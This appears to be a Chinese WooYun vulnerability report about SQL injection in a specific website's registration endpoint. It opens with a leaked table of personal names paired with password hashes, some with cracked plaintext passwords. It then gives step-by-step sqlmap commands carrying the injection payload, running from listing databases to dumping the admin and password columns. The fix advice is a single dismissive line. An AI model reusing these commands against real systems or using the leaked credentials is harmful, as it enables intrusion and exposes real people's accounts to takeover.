| 朱海滨 | 2467d3744600858cc9026d5ac6005305 (232323) |
| 姚解有 | 2467ff25529fcea32f1767e8035d03c8 |
| 齐人丑 | 2469d4c9115fbcfaac7056c5fc0f1327 |
| 陈奕雅 | 246b33306bb34e478a6e3906c1cbd21d |
| 顾是别 | 246c00cf565f26b14a0260cbc6e45e25 |
| 陈科洁 | 24705004dba86d029a70f11309f74db6 |
| 徐悦 | 24713a385c1d5dd2cf19aa26c8d74e56 |
| 刘玉玺 | 2471d86671bab5af705ea737e67f6047 |
| 许的中 | 2474219a814a575aeeb9dd48dc2c5077 |
| 汪佳便 | 2474ec89d7ef034e21c0f2d9f707303b |
| 尤好功 | 24753870a0199c176a3cecb0ce290cf9 |
| 蒋润灏 | 2475e1c8c4c67487e8e373c4ac2db7f8 |
| 姚零遇 | 2475e7e0f58af296feb8745f58ebc737 |
| 水忍功 | 24762e08a271922893782b7c81dd71a7 |
| 梁是意 | 247781834bdb317fd23d2abb7ebe8cc6 |
| 蓝时越 | 2478427283d2194c6e986b47b64aac0c |
| 郑种的 | 247962fefa34362f0a3eba40fd1b8b24 |
| 袁佳欣 | 2479cb5cfe368995bf9c3e271e42ae7f |
| 宋成珉 | 2479d15d9e8a8eecef5a27da97ec058d |
| 计尊都 | 247b594f28b68da8fad85ae0634e8608 |
| 吴昊 | 247c70f3863556aefe923b49bee4928b |
| 前进 | 247c749e82ce5e92defe2e367c6b3391 |
| 王听雨 | 247d5242b5f70df6eb94570e2607a2ab |
| 谈轻际 | 247e8bdc08915c5335d1ea61b0ed8ea9 |
| 陈前 | 2480f1b6b6a1391f2d1a2c070fd47ba1 |
| 朱雨晴 | 248351b36c9ea6a5b2b26dd3180c0703 |
| 周泰娟 | 24863c4c5c44b86d847265a0047bd69e |
| 孙大龙 | 24869cb3e8680c93745d8c7bf3831dc1 |
| 袁利人 | 24878eec0c9c91d8839430315ccba2dd |
| 蒋抱解 | 248a08efff78ff16b96e04f57ef895c1 |
| 贝来跳 | 248a2abc387523493a9debc118a4a398 |
| 蓝表为 | 248c1e4f3bee01f632f5203899cb8595 |
| 杨丽 | 248f1a28e3aa50bb7788a9e353b4a540 |
| 杨茂峰 | 249047d07ea36b7669fae8b4ee56b37a |
| 尹容上 | 24906b3ab5b8c7dab5092cdb22179fae |
| 何睿宸 | 24909be94282f450808bb7e463884f36 |
| 金极洋 | 24920779dc004a3d61ed565319e1d86b |
| 李龙宝 | 24930635a28f9d390aca44b169169a79 |
| 余的不 | 2496b305c43b44babb2887af0583ea81 |
| 杨帆 | 2497571fb9fa9f37378aacfc4623efef |
| 苗学不 | 24988c8cfe14e843cf8e8ef03c973b5f |
| 汪形作 | 249adf00328057cfcfac3bfdeb7372b6 |
| 落晨 | 249cfbd17aeef077f1cfdb0a08a2a8e1 |
| 宋思思 | 24a1ceec173b9e9337069a35dd7aafcf |
| 王宇 | 24a301b266dd4d6c4f14216d43f2eaf5 |
| 许传刚 | 24a647d1d6e29b412fa51e21d6841c2b |
| 周艳 | 24a6591f5ca1853800c5cc4bae5abaa7 |
| 贾愚低 | 24a71e6739c40b29dfb7f2fb296a3e54 |
| 柳智才 | 24a75a31ddb904d28749299a25774450 |
| 庞激前 | 24a9b9efbb98e37ca29b265c656b671d |
| 吴佳嵘 | 24adeab1786b4acc66fe0ce9c71c121e |
| 潘晓恒 | 24b14adce978e38da271be72dee8d56d |
| 车雨晨 | 24b52ab0a3adbd82392f2a5cf338534a |
| 吴佳健 | 24b569faf36c155ecd75dfdcfc2f1f68 |
| 安的大 | 24b5efd0b71eb9153a9011ebeff8f4ec |
| 许超逸 | 24bd2828c5e0318014c062ccc6f0c610 |
| 林中雨 | 24be4298a54e7e705b9d9fe042212ae2 |
| 哦咯哦 | 24bf087f6c001f5f6d41f7f087316ec5 |
| 蓝心的 | 24bf7d19f26d34111bf71239a973d517 |
| 王大雷 | 24c0f9853fcdd58996064b3d6dadc48e |
| 雷沪沪 | 24c25e538b29bcd6fe42edacaaabf6a6 |
| 曾柯 | 24c9653dd9d0aeb96ff1afeed43c2485 |
| 杨鸿宇 | 24ca199c3f4bba8ea0dd8add5abd3d20 (680815) |
| 平的子 | 24cb38225468bc9136dbd0f2bd9a6bd9 |
| 沈佳宜 | 24cbb03df7779f3ceb58f12d2efc23f5 |
| 毛重笑 | 24cd4e819e27b0b12b7522c6fda44851 |
| 宋知为 | 24ce9db29b4bde1af4e83b388aae0ea1 (060406) |
| 姚翰韬 | 24d169c0a4fa26dfdae23a33932abe21 (Tiger123) |
| 王光宇 | 24d3447bf82dd64a25ba0e31e1293155 |
| 张佳宁 | 24d356ef93569479a7bea775b9d043e1 |
| 施润燕 | 24d38e7f819e9e75b970d252f9071f69 |
| 陆淳逸 | 24d3d918855c3fbff1c1416a1277a892 |
| 林泊浣 | 24d3dca9b6adffb6136269ec2dd28713 |
| 戚笑宇 | 24d42ceb15a7a944b3bc2f3d9e6f37fb |
| 沈激前 | 24d48c6d7b747548bb442cd4f87bcd73 |
| 符曉浛 | 24d505d9a19063d71bfc4f5a4549c592 |
| 柏别你 | 24d7a2cfc5083a5154f582c5c0bfc369 |
| 翁世杰 | 24d7bfd252f2c256a43886e30c343044 |
| 刘洛楠 | 24d823a5889fcd75b46a6803f2b27755 |
| 钱俊任 | 24d846d86f30d7044c280ce62095b368 |
| 娄么七 | 24d939abc579e9789346adefd0f0c6f2 |
| 尤处努 | 24d97a6d1c6a4e8162d15752f479865b |
| 徐旻悦 | 24da0dd9cb1293ad664f9d1d2ad8f685 |
| 钱储德 | 24dae06fd8bbcb1a0a455b2eb662420a |
| 王志敏 | 24dc866a57cdaeaabc913f06a4734f74 |
| 汪在才 | 24dd5f4e3e085f694c869452b1924a9d |
| 黄明鸥 | 24dfe4e1120ca3642b1c1486e690c011 |
| 项人得 | 24e018e32884cbbcefb3d2433b00d0ff |
| 吴哲 | 24e0745e607ef0134358142463a66a52 |
| 钟梦莎 | 24e14b110bc7ccef2a2ef7286a50ddb6 |
| 月小月 | 24e191ce367cd2bf0a59cf814d49933c |
| 袁方存 | 24e1b45135ac053bb7ef7828350da420 |
| 纪大的 | 24e22c00ef272be95f3683a6f82eec60 |
| 朱聪 | 24e279a2b9cefd0ff8410f3d310d4524 (258000) |
| 盛佳敏 | 24e2d0fe8978fe61deb899181fe5b1d1 |
| 王侯清 | 24e3d4bde9299fd47b6a1ab4761174c8 (19911201) |
| 路大度 | 24e525a6ce3a5d33451ca69dee57cf94 |
| 宋海涛 | 24e57306fd2bb68c568efa5615c14aa8 |
| 曲燕 | 24e5feeaf07adb688cee309b94964bfe |
| 丁露婷 | 24e777f15dc9ec5e1f975b0709218cf4 |
| 储嘉玮 | 24e8868e942a918511b0914ea5e0005f |
| 赖思成 | 24e8fedf76d6c03f5aed08f64541d282 |
| 贝紫亦 | 24ea66fabf4a560c4e748f52872c690a |
| 陶来心 | 24eae3569bbce8833ca315e7387863f1 |
| 峰一龙 | 24eb29f742726fb8f71d629783da1fea |
| 银珠 | 24eb35fa03d187d9bb4a21abfd8b26eb |
| 徐永兴 | 24ebf0c98c3a2ef3b33a739612e4ad80 |
| 沈晨洁 | 24eda5fbe2e1d13211ddba5aacb7b1dd |
| 唐的就 | 24f057f150a4c8526735b7bd72d6e03b |
| 刘宇飞 | 24f0e2a2354266b97dfa68895bbdc2e5 |
| 郁亦 | 24f3aed5d9470caa7a98d55510fad279 |
| 陈融调 | 24f3de5dfc9bab269053d53f4ab8bf4b |
| 殷对时 | 24f4cf1672e523b2f8049b3a4ed55bf4 |
| 张丽霞 | 24f4def201a6772918291b1085dde65a |
| 祁婓 | 24f58f6b24099102820709e872d47e77 |
| 马壮 | 24f5a9d35963569688237c14051d96aa |
| 王欢 | 24f8587a424c180c9a682bab4b8f23c5 (ziyouzizai) |
| 韩昱洁 | 24f8728d82f00aa4ed9981bf136e8839 |
| 郭望一 | 24fa5167c20d5a8e42c71fdb9fab93d1 |
| 林墨雪 | 24fb8a2de454282c803fb94edf0d5860 |
| 黄易 | 24fd3113756024625a6a9f604c68aa08 |
| 成者转 | 24fd5f78f961fa6ac9d18e7ad820b9e6 |
| 方行健 | 24fe4604ceaf9ac5049e179fd3e48eba |
| 赵的对 | 24fe92f6d7de008d342f47d65cbaa9c7 |
| 曾思齐 | 24fec30810714691a5ed3fad81b9c6ae |
| 谢辰旻 | 24ff4b2e166d3698631f19f8741e9dc8 |
| 王新华 | 25005443303cc9b58ed54ed67a187ea4 |
| 薛晴菠 | 2503cf4a0e0dd75c68f2b4c214680bed |
| 唐俊晖 | 25092ab8e9cc7d98c805861772f8df86 |
| 苏地之 | 25098d1ef8fa77efb8b4be8839371990 |
| 黄然逸 | 250bec69b1740e048f870cbe6544bad8 |
| 冯欣伟 | 250bf13953ea8b21d50a0a7d75c6b62d |
| 张临风 | 250cbc81f4a6a0f68a17363a89b57775 |
| 殷喜会 | 250d5eab992e048f8e4c030a87aeb1b0 |
| 危低事 | 250dd644247571ae27d87563a60daa9c |
| 王至诚 | 250e0aaa51dad033202e6c34d8602b4d |
| 袁永恒 | 250ef2d7a4d1215ca172467411c17f02 |
| 匡李屹 | 2510ea3d89f49d5ca89ff7dd56592387 |
| 谈持的 | 2511a540b1fc21cc8a48e4cdee435705 |
| 张之敏 | 25158e56fa741ae2a3941fa54d9dea80 |
| 顾逸雯 | 25169f9800627036f7ece9d50cf2038c |
| 罗连 | 2518378ea8add84e915ce8cf3fc7944b |
| 陆婷 | 25187f603a6c3c6d4992fe6300357e7b |
| 郝泾舟 | 2518cd583481cd7ccde335ba5bfe584f |
| 孙楠 | 2519c1e60118864d6c3e1ee0b8385052 |
| 徐寅钦 | 2519fff994723e7b1d7375257e9ee1c9 |
| 奚卓越 | 251a4019352db702b00184c1574474d8 |
| 练达菲 | 251b703357da6116d5f180fe316f99e2 |
| 刘莉萍 | 251baf7b8eb73e00b570ada5b84e4868 |
| 林浩然 | 251c979cd3449cc710bc20c466113389 |
| 王奕杰 | 251d3ab0f96d95b656bf21888aad8bed |
| 徐佳龙 | 251e17516fec948824434f1a01c0a745 |
| 刘龙强 | 251f5329b46d11da096d8f36d6eb4ba7 |
| 秋子钰 | 251fba829280b74eda59913c07def745 |
| 周大自 | 25206a9c7e938d82c9caecc778630bfb |
| 钟书悦 | 2520e093d054a1376f709b755ec0733f |
| 杨荣 | 2520e36dad8df59acaeba38164fa5a71 |
| 路把该 | 25212277b00000957fabfc00c4402734 |
| 董睿芃 | 25216822507157fca86fa1ca9d1e0954 |
| 张元昊 | 2521fd913ad0b7c60cfa9bbadfd761e6 |
| 严晨劼 | 25222cca08ebc07a8cb354ee2606c6e7 |
| 范房重 | 252301e706b1043be495ec71cc85074f |
| 陈心妍 | 2523f5c96ab3208ed722850a7295999f |
| 李建 | 2524773f165943d6cd7176b8865321ec |
| 王侯 | 25253f88af72196040d1e2819d3b4d90 |
| 麻该中 | 25267a3d6e45f79038e71e2c16da881c |
| 梁成 | 25279e912fc4e2d2ecb5767f0b72e7a9 |
| 莫瑜 | 252932f0c0a747fb4c7f4239f426f0a3 |
| 董凡能 | 2529d774a600e006a70f4984a1361454 |
| 朱伟 | 252a021e6202d7eb9f341dc72b9cd406 |
| 沈熠昆 | 252a9c51c6fcace9806ab654d40db683 |
| 祝燕 | 252b07045ee97f2081d560a5c7017fdb |
| 俞熟事 | 252b6b5b3543bb4033fc4b6bff66b0a1 |
| 雷就给 | 252b90b4b4f562018b54c3c6f708f7b8 |
| 徐辉 | 252bc88cded85fd0f300ca8b664a857c |
| 黄泽宁 | 252d5c55418f64d805a3dd01a2579070 |
| 卞建功 | 252f43f5ac1c13d0bf67cfde719d7604 |
| 花且天 | 253072eeb982ad048812110433877131 |
| 戴作做 | 2530afcc0e3d4b3a2fb42bd7f51d1741 |
| 郝例上 | 2531994f6abd5cd6daea42c882cc965d |
| 管伶哥 | 2532493595e4470fb72b45d041335f85 |
| 周佳晨 | 2533138216aea46820ba160a2dd563d1 |
| 范便面 | 25338cf21938622b7e7f4d2552b4bf8f |
| 湛知里 | 2533de66afee6de0e5033b44588cd991 |
| 邢帅 | 253595cb0af33c17bba0c7eea04818e7 |
| 柳忍票 | 2535ff39745c6580e59c9a3639e65a6a |
| 汤珺忆 | 253614bbac999b38b5b60cae531c4969 (2012) |
| 刘驭风 | 2537a88fb3a9aed7f1c2a4f7023dbdcd |
| 刘静 | 25393d0c19cfd98ed1fac2919cd9dd7a |
| 管文杰 | 253a43f05e869a49eba3185481e6d33e |
| 刘琼 | 253b4b4d8e1d7da4405fcc2d8816db98 |
| 邹帝是 | 253bd32e065f78223685c522aeba3dbf |
| 肖骏 | 25401b551416a92f567e8d80a9a101ca |
| 徐舜杰 | 254284e7106d5d78a0a5cc24144b32a7 (7412369) |
| 戴能简 | 25452fc3d8c752a08f41a152591fdd8a |
| 章尊反 | 2545330cc9a247ce8a5544643bf6e2df |
| 皮有只 | 2546b5cb03ff758256253922b22b935a |
| 孙凯 | 2547978214cc906154503c2c783940b3 |
| 刘秀梅 | 2547a7386b65d218a140b7e6c4d5314b |
| 李逸阳 | 2547d7d8184ba7daab7f928b33a35b0b |
| 金雯贞 | 2548fabf3c027e5ed92b7f91f53152e3 |
+------------+---------------------------------------------------------------------+


漏洞证明:

贴出图片:
获取当前数据库:

sqlmap -u "http://asknew.newclasses.org/ajax/HRegister.ashx" --data "func=UserIsRegister&user=-1%27%20or%2019%20%3d%20%2717" --current-db


2.png


获取所有数据库名称:

sqlmap -u "http://asknew.newclasses.org/ajax/HRegister.ashx" --data "func=UserIsRegister&user=-1%27%20or%2019%20%3d%20%2717" --dbs


1.png


sqlmap -u "http://asknew.newclasses.org/ajax/HRegister.ashx" --data "func=UserIsRegister&user=-1%27%20or%2019%20%3d%20%2717" -D "NewClasses" --tables


4.png


z.png


x.png


c.png


sqlmap -u "http://asknew.newclasses.org/ajax/HRegister.ashx" --data "func=UserIsRegister&user=-1%27%20or%2019%20%3d%20%2717" -D "NewClasses" -T "UserInfo" --columns


q.png


w.png


直接脱裤。

sqlmap -u "http://asknew.newclasses.org/ajax/HRegister.ashx" --data "func=UserIsRegister&user=-1%27%20or%2019%20%3d%20%2717" -D "NewClasses" -T "UserInfo" -C "nowAdmin,PassWord" --dump


5.jpg


6.jpg


修复方案:

过滤,你们修。

版权声明:转载请注明来源 千斤拨四两@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论